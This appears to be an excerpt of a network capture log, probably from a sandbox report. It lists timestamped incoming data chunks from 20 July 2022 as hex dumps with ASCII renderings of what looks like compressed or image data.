2022-07-20 11:24:37 UTC	1957	IN	Data Raw: db f2 8f bd f8 7f 7a bc 82 6f 14 5e 79 32 45 15 cc 8d 6e ca 7f 77 bb 7b 2a 75 fb c7 e6 fc 73 59 70 cd 67 73 a7 ca e6 e6 ee 0b d5 cf cd 1f dc 91 71 d0 8f e1 fa f7 aa f6 d2 d8 3d 8a 6e e7 b1 5b 68 9e 1f d3 da 0b eb 0d 0e d2 7b 8d cd 34 4d 1c 68 df 31 ef f3 7c bd 39 53 cf e1 9a f2 bf 14 78 18 ae a9 2c ba 5c 4b 79 a7 5f 4e 56 d2 7f ba db f3 92 aa 32 77 28 2d c7 73 da aa d9 f8 b5 ed 74 f8 ac 8c ad b1 64 2d e7 f9 61 db 69 f6 38 f5 23 82 33 58 57 f7 f3 df dc 4f 27 db 27 b9 66 6f 32 49 27 f9 59 b8 c6 76 e7 15 85 4a 8a 6a cd 1b c2 32 8b dc cb 9a 33 6f 34 91 bf cc d1 b1 56 f9 7f 88 71 5a 1a 3e b9 71 a5 4c b2 47 2e d5 56 ff 00 c7 aa be f2 ea c1 db 76 e5 fe 2a 82 48 c2 6d 23 fb b5 c1 3a 6a 4a cf 63 ba 13 71 77 47 d4 de 00 f1 fa 78 a3 c2 ab 66 35 05 6b d8 a3 7d b6 cd Data Ascii: zo^y2Enw{usYpgsq=n[h{4Mh1\|9Sx,\Ky_NV2w(-std-ai8#3XWO''fo2I'YvJj23o4VqZ>qLG.VvHm#:jJcqwGxf5k}
2022-07-20 11:24:37 UTC	1973	IN	Data Raw: ef 18 7c c9 a6 b6 92 ea 48 8c 4c aa eb fc 2d f2 ab 7d 71 cd 47 1c 3e 63 22 19 63 d9 1e 59 99 9b f3 2b 53 42 e5 95 73 b7 73 61 be 56 a9 53 45 fb 63 66 db cd f3 5b ef 2a ae e4 db ef 93 c5 4d ed b8 f5 32 ef 17 7c 9c b3 6e 56 fe 16 1b 5b df 8a 82 e6 42 d2 60 b7 cd b7 ef 6d f9 6a fd ce 95 02 f2 aa cd bb fb b9 da ad f9 d5 6f b2 bb fc 82 59 19 bf ba d5 a2 68 86 99 de 7c 17 f1 3e 8f 6f e2 cd 2b 4f f1 7d f4 96 da 0c 12 bc b0 5c c9 97 4b 19 8f 7d bc fc 8f b5 55 b8 e3 83 eb 5f 4a 7c 52 d0 d3 c4 d6 3a 7d 9d c5 e5 a5 cd 9e 9f 1b 2d 8a f2 de 62 38 4d d2 16 00 af 3c 9d dc e3 9c 57 c5 5b 36 b7 ce 9b 99 7e f2 d7 6b e0 ff 00 89 17 3e 15 8e 2b 2b 8f 33 50 d0 56 4f 33 ec 8d 26 d6 85 8f 75 1e df dc ce 2b c0 c7 65 b2 ad 5a 38 9a 32 b3 5d 3f cb cf f3 3d fc 06 65 1a 34 9e 1e b4 Data Ascii: \|HL-}qG>c"cY+SBssaVSEcf[*M2\|nV[B`mjoYh\|>o+O}\K}U_J\|R:}-b8M<W[6~k>++3PVO3&u+eZ82]?=e4
2022-07-20 11:24:37 UTC	2052	IN	Data Raw: 13 4f 69 e5 37 6b 3d dd fe c6 e1 04 69 1b 09 30 24 5e 07 dc 4d c3 e9 9a a6 fa 2e 95 6b e2 e8 34 f4 f1 46 89 e1 cd 06 f9 52 2b 9b db 19 e4 b9 45 b7 39 1f bc 54 e5 be 60 78 23 8c ab 0c 00 0d 6d ec dc 23 cb d7 71 7b 4e 69 5e c7 35 af 69 72 e8 d6 36 32 48 ad 66 d7 36 df e8 5e 7a c6 ca de 5c 84 ca a5 9b 2a d8 c6 ed b8 5c e5 7e 52 08 27 a2 f8 7b 6e 93 5a ac 83 cb d5 e5 92 74 f2 ec a7 5b 57 46 d8 51 95 49 65 2d 1a b3 76 09 f3 2f 19 e5 aa 1d 4b c3 f6 1e 26 d5 22 d4 27 b6 bb 9f 43 b6 fd dd b4 f2 59 24 49 23 64 6d 84 5c 38 77 91 14 7d c7 91 5d 80 e3 1d ab ad f8 43 e1 ef ec a5 6b 4b b9 56 7b 39 14 ac fe 56 a4 90 4b 22 14 e4 a8 21 19 4a 65 b0 d9 fb d8 38 18 c1 8a b1 7e cf 5d c7 09 25 3f 23 9b f1 67 89 ad 3c 31 a7 cf 71 15 b6 a1 a6 4b 6b 2d c5 8c 12 6a 1a 5c 2b 15 c3 Data Ascii: Oi7k=i0$^M.k4FR+E9T`x#m#q{Ni^5ir62Hf6^z\*\~R'{nZt[WFQIe-v/K&"'CY$I#dm\8w}]CkKV{9VK"!Je8~]%?#g<1qKk-j\+
2022-07-20 11:24:37 UTC	2084	IN	Data Raw: b1 65 48 d1 59 7f 8b 77 dc 56 fa 0e a6 b4 7e d2 8f b7 e6 db 23 7d dd df 2b 37 d2 ab f9 91 32 b4 5f 2b 0f ba db 58 37 e5 b7 35 a9 a6 ea 16 cb 67 16 9e 6d ad 2d ac d5 bf 79 73 05 92 3d d3 7d 5d be 63 ff 00 7d 0a e5 7a ee 75 c6 cb e1 23 49 97 ce f2 8b 7c db 77 2a ff 00 b3 4f 68 d3 72 ee 55 65 fe 25 6c fe b8 fe 95 79 63 d2 c4 97 29 1d cd cd e2 ac be 5d a7 97 1a 23 4d ee ca 49 2b 9f 6c d5 fd 3e c7 46 7b 59 7e d3 3c eb 7a b9 55 8f 74 6a bb bb 1f a0 f4 f5 ac ec 5f 31 81 a9 21 86 e3 cb 10 2c 4b 22 86 55 56 12 fc bf 51 de aa de 5b 5c 5c 5f 2d c5 dc 0d e6 c9 16 d5 db 1e df 31 31 c1 e0 72 31 fc 5f ad 76 da 0e ad 61 6b 79 67 6f 3e 98 d3 ac 5f 36 ed 2d 43 4f 33 0e 73 e6 1c 94 3e a5 47 4a bd ad 69 fe 2c b8 65 b7 b0 b1 d4 2d b4 d5 53 e5 d8 ab 49 3a c6 d9 c9 2a cd 96 03 Data Ascii: eHYwV~#}+72_+X75gm-ys=}]c}zu#I\|wOhrUe%lyc)]#MI+l>F{Y~<zUtj_1!,K"UVQ[\\_-11r1_vakygo>_6-CO3s>GJi,e-SI:
2022-07-20 11:24:37 UTC	2179	IN	Data Raw: ed 0e ef ba cf 1c 81 18 27 45 2c 37 00 4d 5a c1 d4 b2 b2 b9 1f 5c a7 77 a9 8b a8 5e 4d 67 0b 7d 99 64 9e 2f 2d 19 5b f8 b9 1d 0f 6a e6 6e 66 9e e2 1c 41 2b 34 fe 60 66 fe 16 65 cf 23 39 ef ed 5e a1 a6 f8 5f 47 f1 74 32 be 91 e3 1d 2f 55 96 2f 95 ac 6d 97 ca 97 77 fc f3 11 48 c3 91 e8 69 ba 87 c2 ed 6f 41 91 64 b7 83 cf f3 d7 e6 8d a0 09 74 aa 3a e5 1b f9 8c 8a 3e ad 52 17 bc 76 27 eb 34 db d2 46 6f 86 2d ec 35 29 16 61 66 bf 6c 55 12 46 de 66 f7 ed 91 83 92 3d ff 00 9d 77 4b a3 cb 7f 6b 28 95 56 78 a4 fb ca cb ed db 8c d7 8a 6b 76 37 f6 d7 4c 2e 3c cb 1f 2a 4f de 41 1a 94 95 98 76 6d ca 71 f8 0a ea fc 37 f1 1b 4e d0 61 d9 2e 9f aa 4b 02 b1 92 45 6b 94 96 56 6c f6 1f 2f ca 3b 29 19 f7 ae 9a 55 a9 d9 c6 7a 18 57 a1 51 be 68 3b 97 af fc 00 97 17 52 88 a7 92 Data Ascii: 'E,7MZ\w^Mg}d/-[jnfA+4`fe#9^_Gt2/U/mwHioAdt:>Rv'4Fo-5)aflUFf=wKk(Vxkv7L.<*OAvmq7Na.KEkVl/;)UzWQh;R
2022-07-20 11:24:37 UTC	2251	IN	Data Raw: 49 e5 f9 f7 56 cd b7 a6 e1 b5 64 5c 75 f9 ab 9c bf f8 17 e2 fb 7f dd dc 69 52 5e 26 ef 97 ec 9a d5 ba b7 d0 06 54 cf e3 fa 57 d2 37 0d 67 a3 c8 a2 05 92 cd 7f bd 1a c9 07 ea 98 15 b5 a3 eb 5a bc 36 ea 74 cd 7b 50 82 25 f9 97 fd 3e 47 5e 78 e9 21 61 fd 2b 4f ed 34 f6 6e de 69 3f c9 c7 f2 0f aa 49 2d 93 fb d7 e7 73 e5 8f 0e fc 29 d7 2e 35 65 b6 d4 f4 8d 6e 28 27 6d b1 b4 cb 0a c1 1b 9f ef ba 99 63 c7 fb 44 28 ef b8 57 a3 b7 ec bb e2 78 e6 8a 34 f0 e4 1a 9c 0b f7 a3 d2 f5 ab 45 ba 64 cf 2d 19 17 4d 1b 37 3c 2e c5 1f 4a f5 9b 9b 8d 42 e2 e9 ae 2e 2f 24 b9 6d db bf 79 04 0e 8a de df bb e3 d7 eb cd 61 c9 a2 49 23 34 83 50 b9 56 66 fe 1f b9 ff 00 7c 82 17 f4 a3 fb 4a 9d ef 66 ff 00 0f fe 48 5f 55 a9 2e b6 fc 7f c8 e7 35 6f d9 a6 fe ff 00 4f f2 b4 88 3e 25 59 cf Data Ascii: IVd\uiR^&TW7gZ6t{P%>G^x!a+O4ni?I-s).5en('mcD(Wx4Ed-M7<.JB./$myaI#4PVf\|JfH_U.5oO>%Y
2022-07-20 11:24:37 UTC	2307	IN	Data Raw: 51 d4 16 08 3c 83 1e d9 34 d9 da ea 1c 67 97 08 06 10 0d d8 61 cf dd 3c 0c 53 51 3e 19 5f 78 76 fa e6 e3 c4 6d 79 2c 2a 64 58 34 d8 c5 e3 49 8e 8a aa e8 19 18 f7 24 9e 2a 3d b4 96 f0 2d d3 8d ae a4 7c c6 d6 67 cc 67 fb bb bf 86 ab cb 6e 52 35 3b 77 4a ab b7 76 ef e1 35 ec 5f f0 90 fc 32 d5 77 3c fa 7d f5 8b c9 9f 32 36 88 2f 96 fc f3 b9 58 96 1f ec e0 73 f8 d5 4b 9d 17 e1 a4 d6 b1 4b 07 88 f5 28 19 b1 ba 35 83 cd 6d be a0 15 1c f7 db bb f1 e2 b4 55 75 d6 2d 0b 93 cd 1e 50 d1 85 56 29 b9 9b fb bb aa c4 77 f3 c2 b8 0c bb 7f bb b6 b5 f5 6b 3d 29 35 04 8f 4e d4 24 bc b6 65 f9 67 bb b6 36 cc ac 7a 86 50 58 71 eb 9e 6a 83 d8 48 db d9 1b 72 aa ee 66 5f 99 55 6b 5e 55 25 76 42 93 4e c4 3f da 12 2f 5b 6d cb fd d5 6f 97 77 e3 55 24 f1 15 ca 6e 1f 63 58 95 bf bc df Data Ascii: Q<4ga<SQ>_xvmy,dX4I$=-\|ggnR5;wJv5_2w<}26/XsKK(5mUu-PV)wk=)5N$eg6zPXqjHrf_Uk^U%vBN?/[mowU$ncX
2022-07-20 11:24:37 UTC	2370	IN	Data Raw: 35 ca b6 3e 6e 9f 2b 8c f4 e8 6b 16 6f 11 59 3b 79 72 c5 26 9f 2e ed cd 1d cc 1b 17 9f 7e 46 7d ea 23 86 e7 8a 6e 25 3a c9 3b 5c f4 65 f8 95 1a b6 1e e6 ee 25 da 15 b6 b6 ef c7 83 c9 fd 6a 25 f1 46 85 6e d7 db d7 4d 57 bb 50 b7 6d f6 2d 8d 70 81 c3 7e f1 a3 fb ff 00 36 1b 9e fc d7 07 f6 58 ee a1 57 b6 9d 9b f8 99 97 e6 6e 79 3d ea bd c7 87 af 56 36 29 e6 32 af de f2 fe 66 fc 07 7a 95 86 84 5e 8e c3 f6 d2 7d 2e 7b ef 82 fc 4d e2 1d 53 47 6f f8 44 ad a4 9e d5 63 31 c7 79 a7 e1 fe ce ab 85 20 48 ff 00 74 e3 e5 24 7c c7 de bb 3b 5b ff 00 89 70 69 f6 d2 5b e8 2d 2d ac 71 c6 ab 25 e6 5d e6 55 e3 0c ed 2e f6 63 d4 b1 ea 6b c1 3e 07 7c 4b d5 3e 14 78 9b fb 2e fe f2 e6 f3 c2 fa 93 3a dd e9 b0 40 5e 5b 79 18 60 5d 46 9f 78 38 fe 2d 83 25 7b 13 8a fb 3e c1 67 ba d2 Data Ascii: 5>n+koY;yr&.~F}#n%:;\e%j%FnMWPm-p~6XWny=V6)2fz^}.{MSGoDc1y Ht$\|;[pi[--q%]U.ck>\|K>x.:@^[y`]Fx8-%{>g
2022-07-20 11:24:37 UTC	2450	IN	Data Raw: 7f 85 3b fb 3e c4 36 ff 00 ec fb 4d bf f5 ec 9f e1 4d 7b 25 ba fc 88 f7 ba 18 6f e3 81 b9 51 3c d6 69 17 72 ad cd cd a5 b3 37 e0 65 2d fa 54 2f e2 e9 e4 b7 63 fd b9 a5 e9 0e d8 55 6d c2 f1 97 f2 0a b9 f4 eb 5d 2a 5b db 43 cc 76 d0 c4 ab fd d8 c2 fc bf 80 a9 da e7 72 fd ef fc 7a 9f 35 35 b4 7f af c8 56 93 dd 9c 55 ae a9 05 ad d4 f2 7d bb 54 d7 35 48 d4 ff 00 a7 41 a6 c8 ae aa c7 3e 54 6e fb 52 25 2b 8d cb 1e d0 dd fd 2a d4 3a 96 b9 79 24 5f 63 b6 bb d3 e2 ff 00 9e 9a 96 c6 55 ff 00 b6 10 93 fa c8 2b a9 79 83 af ce db bf d9 dd ba a3 91 4f dc 4d aa cd fd e5 dc bf ce 9b aa a5 bc 45 18 35 b3 31 b4 ff 00 0f cb 63 e6 dc 4b ad 5c de 6a 93 af 97 2e a1 22 a7 9b b3 8c 45 18 18 58 53 d5 50 7c df c4 cd 56 1b 4d b8 91 b1 26 a7 77 b5 be 8b fc ab 43 6b 2a e3 6a ee ff 00 Data Ascii: ;>6MM{%oQ<ir7e-T/cUm][Cvrz55VU}T5HA>TnR%+:y$_cU+yOME51cK\j."EXSP\|VM&wCk*j
2022-07-20 11:24:37 UTC	2514	IN	Data Raw: 8d f6 32 f6 16 d6 e7 a3 e9 ff 00 18 3e 08 5a c6 af 27 84 fc 51 a4 45 e6 7c cb 69 24 72 c0 af 8e a4 34 dd 7e 95 7b c3 ff 00 1c 3e 1a 59 b3 cb a4 db 78 82 d9 a4 67 f3 20 8e c8 2a c9 ff 00 4d 18 2d cf de 39 e3 ee e3 d6 bc 5f 54 ba b7 48 e2 fb 7e 87 1a b6 d3 1e df 23 c8 8f db 3f ba c7 e3 58 2d 0e 91 f6 8c 5b e9 4d ba 4f f9 e7 77 1c ab b7 fe f9 18 aa 52 8c be cd 85 ec 5a de 5f d7 dc 7d 4d 6d f1 af e0 c4 3e 51 d4 74 ff 00 14 6a 13 2b 79 7f be 83 cf 5e 39 e9 35 c3 f3 59 d7 5f 15 ff 00 67 9b 2f 34 5b 78 47 59 bc ba 8f ee ad cc 07 ef 1e c3 75 de d1 f8 2f 15 f3 75 e4 96 7f 2e 34 fd 42 d9 a3 61 b9 56 34 75 5f 7c 79 81 b9 f5 c5 4b f6 eb 07 68 a5 fe d0 bc 82 59 3e 55 dd 61 b1 b7 74 fb cb 2f eb c5 38 c9 25 b7 e0 4f b1 5d ff 00 13 df ed be 32 7c 11 b8 bc b6 8a 2d 0f c5 Data Ascii: 2>Z'QE\|i$r4~{>Yxg *M-9_TH~#?X-[MOwRZ_}Mm>Qtj+y^95Y_g/4[xGYu/u.4BaV4u_\|yKhY>Uat/8%O]2\|-
2022-07-20 11:24:37 UTC	2530	IN	Data Raw: 74 f7 aa eb 61 b3 50 be 8a 48 fc f5 6f 9a 46 6c 2a 72 33 85 3f 78 fd 47 19 f4 c1 a5 ed 2f a3 0b 33 22 ce f2 c2 c7 e7 fb 0c 8a ff 00 7d 9a 78 a4 6d b9 3f dd dd d7 af af e1 57 2e 7c 69 e6 58 b3 e9 96 37 6d 71 16 19 b7 5b 05 ef f7 57 70 db 93 f5 e3 bd 4d 6f fb e9 3c a1 f6 98 27 8d 7e ed a4 e7 ec d2 30 19 f9 58 e5 ce 3e ef 27 f0 e9 9b a9 a5 86 b5 fd eb 5f 45 e6 a8 55 fb 37 cb 23 2f f7 43 33 1d 8d f5 c7 7a 87 24 34 8c 68 f5 4d 55 d9 64 7b 6f 29 78 69 7c c6 17 2e dd d4 05 89 46 48 ef 50 db f8 8b c4 97 f6 f2 db 47 04 6a d1 e7 cd bb 9d a4 8b bf f0 a2 b1 6d a0 7f 79 81 ed 8a d8 d4 bc 4f 65 a0 c2 d3 df c5 f6 38 a0 fd e4 76 d6 2c ef 2a ae 70 0b 05 c2 e7 3d ab 96 b1 f8 99 a5 43 e7 c7 71 fd 9b a6 24 8e 5a 3b 39 2f e0 47 65 cf de 65 dd c3 9f ee e3 f1 a6 93 96 a9 0f 63 Data Ascii: taPHoFlr3?xG/3"}xm?W.\|iX7mq[WpMo<'~0X>'_EU7#/C3z$4hMUd{o)xi\|.FHPGjmyOe8v,p=Cq$Z;9/Geec
2022-07-20 11:24:37 UTC	2617	IN	Data Raw: a5 76 96 7e 3a d3 35 2b 58 8e 99 e2 3d 2e 55 91 4f 97 e6 4e 3e 65 cf 7f 98 67 fb be e6 94 2a c2 6d ed f7 8a 54 e7 1d 75 fb 8c 0d 73 c2 e6 e6 f1 b4 c9 65 b9 b9 96 45 12 cf 1c 17 27 72 a1 ff 00 79 71 cb 7a 1a e3 bf e1 5a 3d f4 32 23 d8 eb 7a 7f 94 c6 35 8e e7 c8 db b4 e0 8c 2b 32 9e 4f a5 7a ec da a6 a1 fd 9f 11 4b 6b 69 60 91 bf 78 d1 b1 66 5c 70 4e dc 1c e3 fb bf 5a e5 f5 0f 16 69 57 5a d3 45 a8 c1 3e e5 8c c5 22 dd e7 6a b0 ef 19 31 0e bf de 1c 0f d6 95 4c 2e 1e a6 b3 88 e9 e2 ab c3 48 33 cb ef 3e 18 cf 35 d4 b6 56 fe 21 bb 82 78 d4 f9 90 35 b1 f9 72 32 bc ac 85 30 7e bd 8f 1c 1a 8b c3 ff 00 08 bc 57 e1 fd 6a c6 fe 2d 43 4f b9 82 39 07 99 63 7d a6 cd 2a 48 a4 fc ca 4a 63 6b 6d e8 dc ed 3e b5 ea ba 4b 6a 1e 1f b7 fb 1c 2d 6d 2d b3 2e e8 a4 69 1d a7 da 72 Data Ascii: v~:5+X=.UON>egmTuseE'ryqzZ=2#z5+2OzKki`xf\pNZiWZE>"j1L.H3>5V!x5r20~Wj-CO9c}HJckm>Kj-m-.ir
2022-07-20 11:24:37 UTC	2712	IN	Data Raw: 2f 2f a0 92 ca f2 d1 9a 46 32 48 aa a1 fe d1 b4 13 f2 b3 74 c7 cd 9f fe bd 65 78 83 e1 6e b9 6d 79 f6 90 da 4f 91 23 05 f2 ff 00 b2 43 22 b6 70 bf 28 f9 90 7d 3b 9e 6a 4b 9f 07 db ac 6d 1e ab a1 ac 11 7f 14 b0 5b 3b 27 98 08 ed f7 bb 67 38 f6 3e fa a8 e2 20 f6 4f ef 33 93 c3 cd 68 df e0 74 7f f0 93 fd 9a 4f 36 29 e4 8a 0d db a2 92 c6 00 de b8 c1 0a 77 2f 23 39 27 3d ea ae a5 e2 ab c8 ec fc a9 74 a9 ee 65 96 5d 9b a7 60 c9 c1 da bf 79 97 e6 f9 73 b4 9f d7 02 b2 f4 9f 07 e8 f6 b3 79 76 f7 90 44 bb be 58 e4 f9 b6 f5 ef 8f 6a b5 0f 81 e2 86 35 16 d2 b2 ca b2 0d cd 1d cb c4 ad bb b8 c7 ae 3b d3 52 94 b5 6a cf d4 9e 58 ad 9d cc c5 f0 dc 89 aa 5a ea f0 5f 7d 9a 78 9a 69 24 5b 49 36 a2 ab e4 9d e4 60 6f ce 49 20 0e 4e 3b 8a d8 99 27 b6 85 ae 35 1d 42 46 9e 59 12 Data Ascii: //F2HtexnmyO#C"p(};jKm[;'g8> O3htO6)w/#9'=te]`ysyvDXj5;RjXZ_}xi$[I6`oI N;'5BFY
2022-07-20 11:24:37 UTC	2760	IN	Data Raw: ed f7 af 45 bc b4 f1 2a c7 f2 ea b6 8a d2 48 24 69 e0 b6 28 db 33 c3 13 8f bc 07 bf e1 c5 62 5e 36 ba d7 8c 2e 35 39 fc dd a6 45 9f ee a6 e3 d7 03 93 c6 e3 c6 46 36 d7 0d 6a d3 7a 54 83 7e aa 27 75 38 47 78 c9 7d ec d7 d0 df c4 73 46 b2 3c 5a 85 8f 98 af b7 6d ec 0e bb 8f a6 72 3f 3f c6 b7 f4 b6 d7 74 a8 77 9f b6 6a 11 af cc cd 3c 81 fe 6f 5e 18 63 38 ed ef d2 bc b6 6b af 1a 5b cc d1 e9 7a 9c 6a b2 a8 6d d7 2b bd 63 c6 02 9d 87 d7 e6 fd 2a d5 af 8c bc 73 a5 5b b7 f6 ac 1f da a9 1a 8f 31 ac 57 ca 66 5c f6 03 23 ee ff 00 0e 2b 18 62 29 c1 24 dc 97 c9 7e 85 ca 85 49 6b 1e 57 f3 37 bc 75 7f 79 75 a5 ca 5e c7 50 5b f5 5f 33 6c 10 3c ad 92 31 90 15 b7 0e 7d 0f f7 7a d6 77 82 fc 43 ab ad ad b3 dc 6a b3 df 59 2b 08 f6 ea 9a 39 b6 97 77 ae ef 93 81 e8 41 3e f4 91 Data Ascii: EH$i(3b^6.59EF6jzT~'u8Gx}sF<Zmr??twj<o^c8k[zjm+cs[1Wf\#+b)$~IkW7uyu^P[_3l<1}zwCjY+9wA>
2022-07-20 11:24:37 UTC	2832	IN	Data Raw: 8c 37 4c f7 e0 f6 ae ce 1f da 83 5d 78 e2 8b 47 f0 f5 8c 5a ab 28 8d af a7 92 69 fe 51 fd d4 63 b5 3f 3a 8a 98 5a ef 48 ec 38 d4 82 dd 1e a0 97 9a a7 86 6d 60 9f 5c d2 23 95 5a e5 ed 97 ec d6 89 25 cb 64 16 51 b4 48 00 1c 0c e1 7f 0e f5 2e 97 af 6a f2 58 de 5c d9 f8 6b c4 1a 7a 5d 44 1b e5 d5 a0 9d 96 40 08 61 e4 89 f6 ef 1c 70 08 66 3e 9d 6b ca f5 0f 8a 9e 38 d0 6c 62 d6 ef 2d b4 6b 69 6e 65 31 2a ab 06 79 1d c6 4b 28 46 7e eb d7 ee f6 e6 b4 7c 03 e3 cd 76 fa d6 04 d3 bc 27 3d f6 a4 b2 95 6b e9 ec a1 44 5d c0 6e ce d8 f7 3b 1d b9 2c 79 a9 fa bc f9 6f 71 7b 45 d8 e8 ec f4 3f 16 6b 5a 6d 8e 97 a8 e9 13 ea be 1e 9e 01 6d 73 ad cf 76 6d a5 b8 69 37 a4 9b e2 8e 67 91 9c fc 9b 7e ee d2 cc 7e 5c 66 a5 d1 7e 14 cf e0 cb c9 ee 7f e1 17 83 50 b3 89 4c 7e 42 db 3c Data Ascii: 7L]xGZ(iQc?:ZH8m`\#Z%dQH.jX\kz]D@apf>k8lb-kine1*yK(F~\|v'=kD]n;,yoq{E?kZmmsvmi7g~~\f~PL~B<
2022-07-20 11:24:37 UTC	2935	IN	Data Raw: 31 5a ea 53 89 56 d2 d1 53 7d 8c 60 e7 74 bb a3 3c 1d 87 0d 95 63 d9 78 c8 23 11 5e fa 16 bf e1 2e b7 bf b7 81 f4 cb a8 27 bf b9 90 59 47 e4 40 ec d2 72 37 b2 8d b9 75 1d 7b 03 d7 35 7a 1f 09 dc 6a 5a d2 ea 1a bc b3 df 4f 07 99 12 ac f1 84 db 19 c0 04 36 e2 ca 9c 9c 15 c6 7e 6e 2b 7a e6 49 21 d3 ff 00 d1 3c cd 3e f2 7b 69 3e c5 73 26 27 7b 85 5f bd 21 4e 57 ee fc c0 b1 c9 ea 54 0a b1 a4 f8 7a 7d 6f 4b d9 a8 c0 bf 67 9d 86 e6 6b 97 7f b4 21 3b 97 70 da 9b 4f 4e 80 63 a5 1c c9 ec 35 a1 9b 0f 86 4d e5 ba 47 14 51 ce fe 67 fa 35 da c4 eb 2e c6 ce e2 af bb 71 61 93 ce 46 37 70 2b 42 1f 07 c1 67 6b 72 eb 73 b5 f8 f3 36 a8 89 ae 15 41 1f 39 e5 99 bf db 6e a7 f8 85 6d f8 ba c2 ee 3d 27 fb 3f 4a bc 83 4c f3 d7 cb 93 cb 8c ac aa e7 1b 65 47 cf 00 0e a3 6f 27 af 1c Data Ascii: 1ZSVS}`t<cx#^.'YG@r7u{5zjZO6~n+zI!<>{i>s&'{_!NWTz}oKgk!;pONc5MGQg5.qaF7p+Bgkrs6A9nm='?JLeGo'
2022-07-20 11:24:37 UTC	2951	IN	Data Raw: f9 a3 5e e4 8e c2 b6 17 e1 5e be eb 3d c7 d8 55 6d ec d8 49 24 fb 83 44 bc 7f 79 49 07 1d f9 ae 89 47 a4 ac 25 22 77 d4 ac bc 75 ab 5b 79 fa 66 e7 b6 8f f7 b6 3a 7d cc 28 d2 67 d3 cc 25 f2 4e 3f 89 bd 14 57 ac e8 7a a4 1a 1f 87 ed 93 4c d3 2e d6 59 d7 ec 91 41 7c db 17 79 39 e7 f8 e5 60 3e 5e a8 be e2 b8 ed 03 f6 75 b9 f1 45 ab 4f 79 72 bb 63 5d de 5a db 06 da c4 7c bc b9 3d 7d 47 41 f5 ae eb e1 ff 00 80 ad bc 2e da 95 96 8e ad 67 a8 ae c5 9e ee 48 fc ff 00 de 0e 71 18 6c 01 81 f3 71 d3 fb d5 c3 56 70 51 b4 75 b1 51 57 7a 9b 7e 01 b5 d7 35 26 fd fc 1f d8 b6 51 e5 99 ae e4 79 67 e9 f7 b6 8c 22 8e 38 e4 fd 38 a7 ea 16 1e 14 f0 f4 cd fd a7 7d a8 5c cb 79 2e db 4d 2e 3b 99 1f ce 61 c3 37 97 9e 53 d7 f8 30 16 88 6e 75 1b 0d 05 ad b5 bd 62 7f 12 d9 ea 13 19 23 Data Ascii: ^^=UmI$DyIG%"wu[yf:}(g%N?WzL.YA\|y9`>^uEOyrc]Z\|=}GA.gHqlqVpQuQWz~5&Qyg"88}\y.M.;a7S0nub#
2022-07-20 11:24:37 UTC	3412	IN	Data Raw: 4f 07 fa b9 1a ec 2b 47 f9 64 8a d0 b7 f8 43 01 b5 95 1b 5e d7 6e 65 69 0a c8 d7 3a ed c3 ff 00 c0 b0 85 06 4f a1 a8 94 b0 71 4b de 7f 8f ea 34 b1 12 fb 2b fa f4 2c 5b ea c2 35 57 3f f0 9b 2e e6 ff 00 97 ed 15 db f5 30 54 17 1e 3a d3 ad 1a 51 26 af a8 5b 6d ff 00 96 73 e8 4f b9 7d 72 3c b1 9a c9 93 f6 75 d2 35 46 5f b5 cb 14 e9 1c 6e db ae fc e6 6f 5c 0d d3 52 af ec af a0 4d f2 0b 68 15 f8 ff 00 57 01 dd ff 00 8f 48 dd 7b 7b d0 a5 81 de 53 7f 72 17 fb 52 56 49 7d ec b6 be 3f 81 66 54 4f 14 40 ca df 32 fd a7 c3 97 48 ac bf ef 23 7f 4a bb 6f e3 ad 3e 15 f3 6f 75 3d 36 26 8f ee c8 b6 d7 56 de df c6 3a 7e 35 cf da fe cb fe 1c b5 59 47 91 1c aa df 75 a7 53 ba 3f c4 1c 7e 62 ae c7 fb 3a e8 b0 c7 fe 8f 73 3c 48 cb f7 b7 46 db b3 e8 5a 33 44 e5 80 7a 29 4b ee 41 Data Ascii: O+GdC^nei:OqK4+,[5W?.0T:Q&[msO}r<u5F_no\RMhWH{{SrRVI}?fTO@2H#Jo>ou=6&V:~5YGuS?~b:s<HFZ3Dz)KA
2022-07-20 11:24:37 UTC	3476	IN	Data Raw: 2e 7f 88 fb d4 3a c6 b1 65 e2 1d 0f ed b1 69 ff 00 da a6 c5 7e d3 05 8d f5 b4 91 34 8c a0 9e 37 00 c7 8c 8e 87 24 f7 af 03 f1 35 c5 97 89 b4 38 34 38 34 a9 fc 13 f6 1d ad 15 e6 9f 3e a3 2b 4d 2a 02 01 6f dc 2f 99 1b 7c ff 00 30 6f e2 62 57 3d 2c d8 f8 b2 e6 eb c3 3f 63 1a 86 9a bb a3 f2 ae 74 9d 26 74 b9 b9 ba 76 71 9f 29 a6 93 e4 5d 9f 36 d6 62 e3 95 c8 ec 72 f2 a5 cc 88 b5 de 8c cb fd a0 7e 2e e8 9e 2d b8 b3 b7 d1 e0 b4 68 bc 83 ba d1 63 08 d6 32 82 03 6e 5f 28 7c ec 37 29 5d c7 03 1d 3a 57 8b 47 34 7f 2c 6f 17 95 fe f4 83 e5 cf a7 f8 57 73 7d e3 4d 01 ee be cf ac f8 7b c6 5a 9d e4 98 9e da d2 db 4e da b7 08 4b 87 95 f0 42 a8 5f ef 42 64 1f ed 1a f3 8d 6a 1b 0d 73 50 cd a5 cd ec 56 bf f3 ed 23 6d 6e b9 e7 60 1b 87 a5 7a f4 65 4d 47 96 1b a3 17 74 f5 24 Data Ascii: .:ei~47$58484>+M*o/\|0obW=,?ct&tvq)]6br~.-hc2n_(\|7)]:WG4,oWs}M{ZNKB_BdjsPV#mn`zeMGt$
2022-07-20 11:24:37 UTC	3508	IN	Data Raw: f0 fd e5 fc fa e4 9f 63 e6 49 3c c5 f3 d3 69 18 60 a9 1a 87 7c f6 c7 4e b9 ac fe b1 3b 7c 4e ff 00 7f e6 86 a3 1b ab ad 0f 9e a1 f8 37 e2 fd 42 df cd d3 b4 89 f5 09 79 6f 2e c5 92 55 da 06 5b bf de 03 18 50 77 1d c0 56 3d bf c3 bf 12 59 c6 cf 71 a6 5d ac 5b 77 34 93 a8 45 5e db 70 48 6d c3 ba e2 bb 5f 0d cd e1 4b 6b e6 96 d3 fe 12 6f 0e 4e b2 7e e2 e6 35 de b3 29 e0 12 aa bf 2e 3b fc ed f8 57 a8 5b 78 26 5f 11 69 36 d3 e8 fe 23 d4 a2 b5 81 76 c7 77 68 a5 e2 ba 7c f2 19 5d 97 e6 07 f8 86 d6 c9 aa 96 22 b4 15 ef 7f 97 f9 0d 46 9c 9e d6 47 8e 78 63 c0 7a e5 c3 69 f3 a4 f0 41 67 26 24 8a 3b 9d 58 5b 2c ca dc f0 a1 b7 72 3a e0 57 af f8 6f c3 3e 1f 7d 3e c6 fc de 68 da 7a d8 f9 f2 2c 76 37 26 7f 33 70 19 e0 b2 9d ab d7 97 cd 6c d8 